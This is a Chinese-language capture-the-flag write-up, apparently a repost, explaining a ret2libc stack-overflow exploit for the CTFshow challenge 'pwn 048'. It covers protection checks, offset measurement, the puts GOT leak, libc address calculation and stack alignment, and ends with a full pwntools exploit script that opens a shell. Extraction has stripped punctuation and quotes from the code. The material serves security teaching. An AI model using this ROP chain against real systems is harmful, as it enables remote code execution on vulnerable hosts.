ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Ret2Libc实战:Puts泄露libc地址与ROP链构造详解

Ret2Libc实战:Puts泄露libc地址与ROP链构造详解 CTFshow 的 pwn 系列做到 pwn 048 这道栈溢出题算是正式从“能跑通 ret2text”迈进了“自己造 ROP 链”的阶段。题目名直接剧透了考察方向——Ret2Libc 之 Puts 泄露核心就是用 puts 的 PLT 和 GOT 把 libc 的真实地址打出来再算出 system 和 /bin/sh 的地址完成利用。整道题不绕弯子但“泄露-计算-二次利用”这条链路非常标准值得把每个细节掰开讲清楚。这篇文章我按自己的实战顺序来写拿到附件先干什么、在哪里下断点、偏移量怎么测、为什么选 puts 而不是 printf、第二次 ROP 为什么要加一个 ret 对齐最后附上完整 exp。内容适合已经看明白 ret2text、但还没系统接触过 libc 泄露的初学者也适合想整理一遍 ROP 思路的老手。1. 情报先行拿到题目先别急着跑脚本CTF 里拿到一个 pwn 题附件第一步不是开 pwntools而是把二进制丢进 file 和 checksec 里看底细。这一步决定了后面所有利用思路的走向省得辛辛苦苦写半天 exp最后发现 canary 没绕过或者 PIE 没考虑。1.1 file 和 checksec 定下攻击基调把附件解压出来通常是一个 ELF 文件和一个远程连接信息。先执行file pwn checksec --file./pwn我这边 checksec 的输出大概是Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这几行信息直接给路线画好了框64 位小端程序函数传参走 rdi/rsi/rdx 这些寄存器ROP 时要找 pop rdi; ret 这类 gadget。No canary意味着栈上覆盖返回地址不会触发安全检查可以直接用溢出打返回地址。NX enabled栈上不能执行 shellcode所以不能往栈里塞一段机器码跳过去执行得走 ROP 复用代码段里已有函数。No PIE程序自身的 .text 段地址固定0x400000 起跳所有函数地址、PLT 地址都可以在 IDA 里直接拿。换句话说这道题就是给练习者准备的“干净环境”。程序自己没开 canary也没开地址随机化唯一的难点只剩下“如何绕过 ASLR 拿到 libc 的基址”这正是 Ret2Libc 要解决的问题。注意如果你拿到手的题目开了 PIE那么第一步还得先泄露程序自身的基址思路类似但多一层。pwn 048 恰好把这两层剥开了让你专注处理 libc 那层。1.2 保护策略对利用路线的连锁影响很多人刚开始学栈溢出的时候把所有题都默认当成 ret2text 来做找一个现成的 system 或者后门函数跳过去。但真实 CTF 里这种好事很少绝大多数题都要自己“造链子”。保护策略会直接把路线分成几类没有 PIE 且有 system、有 /bin/sh直接 ret2text入门题pwn 前几关基本是这个套路。没有 PIE 但没有 system要么自己从 libc 里找要么通过可以调用的函数动态拼。pwn 048 就是这种情况。有 PIE泄露程序基址把原来的地址换算成真实地址再用。有 canary先泄露 canary或者寻找不触发 canary 的写入方式。Full RELROGOT 不可写不能改 GOT 表项Partial RELRO 则可以通过格式化字符串或写入方式改 GOT。pwn 048 的环境是“Partial RELRO、No canary、NX、No PIE”这说明 GOT 可写但本题并不需要改 GOT而是利用 GOT 里保存的 libc 函数真实地址。理解了保护策略和利用路线的对应关系后面碰到新题就能快速判断方向。2. 逆向分析漏洞点定位与利用条件判断确定方向后把程序丢进 IDA 看伪代码。IDEA 或者 Ghidra 均可思路一致找到输入点看缓冲区大小确认有没有明显的栈溢出。2.1 IDA 里的伪代码一个干干净净的溢出点pwn 048 的主函数精简后大致是这个样子int __cdecl main(int argc, const char **argv, const char **envp) { char buf[32]; init(argc, argv, envp); puts(Input:); read(0, buf, 0x100uLL); return 0; }关键就在read(0, buf, 0x100)这一行。buf 的栈空间只有 32 字节但 read 却允许读入 256 字节这中间差了 224 字节的可控覆盖空间。栈布局大概是buf[32] rbp[8] return_address所以覆盖到返回地址需要的偏移量是 40 字节。这也就是网上很多题解里说的“偏移 40”的由来。拿到这种代码我一般会顺手确认以下几点程序里有没有可以直接 getshell 的后门函数或者现成的 system 调用。如果没有就要考虑 Ret2Libc。程序是不是调用了 puts、printf、read 这些 IO 函数。只要有 puts就说明 putsplt 和 putsgot 都能在 ELF 里找到而这正是泄露 libc 的基础。程序有没有调用 exit、_exit 之类导致流程结束的函数。如果主函数里直接 return第一次 ROP 泄露完之后可以正常回到 main 再打第二轮。2.2 偏移量是怎么精确测出来的虽然 IDA 里看 buf 大小能算出 40但实际做题我更推荐用工具实测一遍因为编译器可能加 padding、栈帧布局可能和源码不一致。pwntools 的 cyclic 加 gdb 是标准姿势。先用 cyclic 生成 200 字节的随机填充cyclic 200或者直接在 exp 里写from pwn import * io process(./pwn) io.sendlineafter(bInput:, cyclic(200)) io.wait()然后 gdb 打开 core 或者直接gdb ./pwn运行后看崩溃时的返回地址gdb ./pwn run input.txt info registers rip如果崩溃时 rip 是0x62616164这种“看起来像 ASCII 但又不是正常地址”的值就把它丢进cyclic -l查偏移cyclic -l 0x62616164输出多少偏移量就是多少。我经常见到有人图省事直接背“偏移 40”结果换一道题 or 换一个编译器就翻车所以这个地方务必自己实测一遍。实测不仅能确认偏移还能顺便看栈上环境多一步不吃亏。注意这里要先安装好 pwntools 的 cyclic 命令。如果没有可以用系统自带的 pattern 工具或者 gdb 里pattern create/pattern offset这两条 python 命令。原理都一样用可辨识的固定模式字符串触发崩溃查回崩溃地址在模式里的下标。2.3 为什么不能直接调 system(/bin/sh)顺着 ret2text 的思路很多人第一反应是既然可以控制返回地址那直接跳 system 不行吗问题在于这个二进制里根本没有 system 函数。IDEA 的 Functions 窗口里搜一圈只有 main、puts、read、init 这些。代码段里也没有现成的/bin/sh字符串。也就是说“跳转目标”不存在我们必须想办法从 libc 中借用。libc 是程序运行时动态加载的共享库里面必然有 system、有/bin/sh字符串但 libc 的加载地址受 ASLR 影响每次启动都可能不同。如果直接硬编码一个 libc 地址本地可能碰巧能跑通远程一开 ASLR 就完全失效。所以要分两步走第一次利用栈溢出调用 puts打印出某些 libc 函数在内存中的真实地址由此推算 libc 基址。得到 libc 基址后偏移算出 system 和 /bin/sh 的真实地址第二次利用栈溢出完成 getshell。这就是 Ret2Libc 的核心思想不依赖程序自身提供后门而是通过动态链接机制“借用” libc 里的函数。这里的 libc 就相当于一个巨大的工具库只要我们拿到基址里面所有函数都能按偏移定位。3. Ret2Libc 核心思路Puts 泄露 libc 地址的前因后果题目名字里直接写了 “Puts 泄露”说明出题人希望你用 puts 来当泄露点。这里有个非常关键的前提程序自己已经调用了 puts所以它的 PLT 和 GOT 表项都存在我们可以从 PLT 表调用它从 GOT 表读取它的真实地址。3.1 为什么选 puts 而不是 printf 或 write泄露 libc 的方式不止一种常见的还有 printf 格式化字符串泄露、write 直接打印内存、puts 打印字符串内容。pwn 048 里选 puts 有它的理由puts 的参数只有一个存在 rdi 寄存器里ROP 时只需要一个pop rdi; ret的 gadget 就能完成传参。printf 在 64 位下遇到格式串时会按格式解析处理不当容易崩而且参数处理更繁琐。write 需要三个参数传参要用 rdi、rsi、rdx 三个寄存器还要额外找对应的 gadget构造链子更复杂。puts 是单参数对新手友好得多。puts 的返回值或者输出内容是“从参数地址开始打印到\x00”配合 GOT 里存的真实地址打印出来的正是函数指针本身的内容便于直接解析。具体到 ROP 链第一次调用的目标就是putsplt参数是putsgot。这行调用的意思等于在 C 语言里执行puts((char *)puts);也就是把 puts 函数在内存中的地址当字符串打印出来。因为函数地址里面通常包含\x7f这种非打印字符puts 会一直输出到遇到\x00所以实际回传的数据是地址的低 6 字节再加一个换行符我们用u64还原即可。注意这里偶尔有人会搞混 PLT 和 GOT。简单说PLT 是代码段里的跳板程序调用动态库函数时实际跳到 PLT 再去 GOT 拿最终地址GOT 是数据段里存放真实地址的表项。所以“调用”用 PLT“读取真实地址”用 GOT。泄露时要打印 GOT 里的值而不是 PLT。3.2 泄露之后的逆向计算从 puts 地址到 system假设泄露出来的 puts 真实地址是0x7f12345678a0。要得到 system 地址需要知道两件事puts 在某个具体 libc 版本中的偏移量比如puts_offset 0x875a0。system 在同一个 libc 中的偏移量比如system_offset 0x4f550。那么libc_base leaked_puts_addr - puts_offset system_addr libc_base system_offset binsh_addr libc_base binsh_offset这个“偏移量”从哪来如果是本地调试直接看ldd ./pwn会显示程序使用的 libc 路径通常是/lib/x86_64-linux-gnu/libc.so.6然后用 readelf 查符号偏移readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts或者用 pwntools 一行搞定libc ELF(/lib/x86_64-linux-gnu/libc.so.6) puts_offset libc.symbols[puts] system_offset libc.symbols[system] binsh_offset next(libc.search(b/bin/sh))远程场景下靶机上的 libc 版本可能和我们本地不一样如果直接拿本地 libc 算远程地址很容易算出一堆错值。这时候有两个常用处理方式用在线 libc 库比如 libc.rip搜索版本输入puts的地址后几位的偏移去匹配 libc 版本找到后下载对应的 libc.so.6 再计算。用 LibcSearcher 这类 python 工具自动匹配很多 CTF 环境直接装了。命令类似from LibcSearcher import * obj LibcSearcher(puts, leaked_puts)CTFshow 的 pwn 题目一般是动态容器同一个题的 libc 环境通常是固定的。实际做题时泄露出一个 puts 地址后把低 12 位记下来去 libc.rip 搜基本能锁定版本。低 12 位是页内偏移不受 ASLR 影响所以可以用它来筛版本。3.3 ROP 链布局第二次调用为什么要加 ret第一次 ROP 的布局大约是padding(40) pop_rdi_ret puts_got puts_plt main_addr执行流程是main 里 read 读入这串数据。main 返回rip 跳到pop rdi; ret。pop rdi把栈顶的puts_got弹进 rdi然后 ret 跳到puts_plt。puts 打印putsgot里的真实地址。puts 返回栈顶现在是main_addr程序回到 main再次读入输入。第二次 ROP 的布局稍有不同padding(40) ret pop_rdi_ret binsh_addr system_addr这里加的ret是为了应对栈对齐问题。64 位 Linux 下glibc 的某些函数包括 system 的某些版本在调用时要求栈指针按 16 字节对齐。简单说如果进入 system 时 rsp 的位置不对system 内部第一次执行 movaps 指令就可能因为“未对齐”直接段错误。加一个ret只是让 rsp 前进 8 字节正好补上对齐位。这个坑在 Ubuntu 18.04/20.04 这种新版本的 libc 环境中非常常见。很多人写完 exp 本地跑得很正常换到远程环境突然直接崩溃排查半天最后发现就是少了一个ret。对齐判断有个小技巧先用 gdb 跑起来b *system_addr查看运行到 system 入口时 rsp 的值如果rsp % 16 8就需要加ret。当然大多数时候直接按“call 语义”脑补栈平衡也够用——记住常规 64 位 ROP 里碰到 system 就先在链子里塞一个ret基本不会错。4. 手写 EXP 与调试实录从本地到远程的完整流程理论部分讲完了进入实操。我的习惯是先把 exp 在本地跑通再去连远程。本地环境可控调试方便远程一旦失败很难看清是 libc 版本不对还是 ROP 链写歪了。4.1 本地环境准备与两个调试思路需要准备的东西Python3 pwntools推荐用虚拟环境避免和系统 python 打架。gdb peda 或 pwndbg 插件调试 ROP 链时可以直接看栈布局。如果本地没有 libc 或版本和远程不一致建议用 pwninit 或 patchelf 把程序动态库替换成目标 libc需要先下载目标 libc.so.6 和 ld.so.6。我调试的时候常用两种方式第一种直接跑 exp在关键函数地址下断点。gdb ./pwn b *0x400640 # 比如 putsplt run payload这样可以看调用 puts 之前 rdi 的值是不是putsgot。第二种用 pwntools 的 gdb.attach 附加调试io process(./pwn) gdb.attach(io, b *main continue )attach 方式可以带着 exp 的逻辑一起跑比手输 payload 方便很多。4.2 完整 exp 逐行拆解下面是我在 pwn 048 上最终使用的 exp注释写得很细保留下来备查。from pwn import * context.arch amd64 context.log_level debug # 本地调试时改成 process(./pwn) io remote(node.ctfshow.com, 端口号) elf ELF(./pwn) pop_rdi_ret 0x400733 # 通过 ROPgadget 找到 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] # 第一次溢出打印 putsgot回到 main payload1 ba * 40 payload1 p64(pop_rdi_ret) payload1 p64(puts_got) payload1 p64(puts_plt) payload1 p64(main_addr) io.sendlineafter(bInput:, payload1) # 接收 puts 打印出来的地址一般是 6 字节 换行 # 例如 x60x78xa5xf7xffx7f\n leaked io.recvline().strip().ljust(8, b\x00) puts_addr u64(leaked) log.success(fputs addr: {hex(puts_addr)}) # 计算 libc 基址 # 本地这样找 libc远程需要根据 puts 低 12 位匹配 libc 版本后替换 libc ELF(/lib/x86_64-linux-gnu/libc.so.6) libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) log.success(flibc base: {hex(libc_base)}) log.success(fsystem addr: {hex(system_addr)}) log.success(fbinsh addr: {hex(binsh_addr)}) # 第二次溢出注意多加了一个 ret 对齐 payload2 ba * 40 payload2 p64(0x4004fe) # ret gadget payload2 p64(pop_rdi_ret) payload2 p64(binsh_addr) payload2 p64(system_addr) io.sendlineafter(bInput:, payload2) io.interactive()注意p64(0x4004fe)这个 ret 是我在当前二进制里找到的一个简单ret指令地址用 ROPgadget 就能搜到ROPgadget --binary ./pwn | grep ret$如果搜不到单独的 ret可以找pop xxx; ret这种多字节 gadget效果一样因为重点只是让 rsp 加 8。4.3 本地通了远程打不通的排查清单这道题最常见的失败场景就是本地能 getshell远程连接上去却拿不到 shell或者收到一堆乱码。根据我的经验按下面顺序排查检查 libc 版本。远程 libc 大概率和你本地不是同一个版本偏移量完全对不上。解法就是前面说的 libc.rip 搜版本替换 exp 里的 libc 路径。检查泄露的地址长度。puts 的地址打印到\x00前截止如果程序点前还有\x0a换行recv 时要小心剥掉尾巴。用recvline().strip()比recvuntil(b\x7f)稳妥因为后者容易把地址后面的换行吞掉导致 ljust 失败。检查第二次发送时程序是否真的重新走入了 read。有些程序第一次返回后不会正常回到 main而是直接退出这时候需要 ROP 返回时跳到 main 的地址而不是 main 加序言的地址。检查栈对齐。新版本 libc 下 system 对栈对齐很敏感务必在第二次 payload 里加 ret。确认远程连接方式。CTFshow 这类在线平台一般会给容器地址和端口连接信息不要搞错否则可能连到别人已经打过的容器或者直接连空端口。这五条基本覆盖了 Ret2Libc 新手踩坑的绝大多数情况。5. 这道题之外的几个使用建议题目本身做完就结束了但 Ret2Libc 这套打法后面会反复出现。这里补几个“从 pwn 048 延展出去”的经验。第一add rsp 的偏移不一定永远是 40。以后换一道题buf 可能是 64 字节、128 字节或者程序用 scanf 而不是 read偏移量都要重新测。请把 cyclic 测偏移变成肌肉记忆不要背模板数字。第二ROPgadget 搜到的 gadget 地址在 No PIE 程序里可以直接用但一旦开了 PIE这些地址都要加程序基址exp 里全部要动态计算。学完这道题后建议找一道开了 PIE 的题练一遍体会一下地址动态化的差别。第三泄露函数地址时不止可以泄露 puts还可以泄露__libc_start_main、setvbuf、read 这些常见函数。实际做题时哪个函数被程序调用过、GOT 里有记录就泄露哪个灵活处理。第四如果以后遇到 system 也不能直接用的复杂情况可以考虑 ROP 调execve(/bin/sh, 0, 0)也就是经典的 execve 链。那套链子需要控制 rsi 和 rdx比单参数 puts 复杂一些但思路完全一致找到 libc 基址然后按偏移构造。我个人做题的习惯是每道题做完后把 exp 里泄露地址到计算基址这一段单独抽出来做成一个通用函数。遇到新的 Ret2Libc 题直接复用这一段能省不少时间也能减少低级错误。pwn 048 这道题其实就是把这段最核心的逻辑练了一遍后面各种变形都逃不出这个框架。
返回列表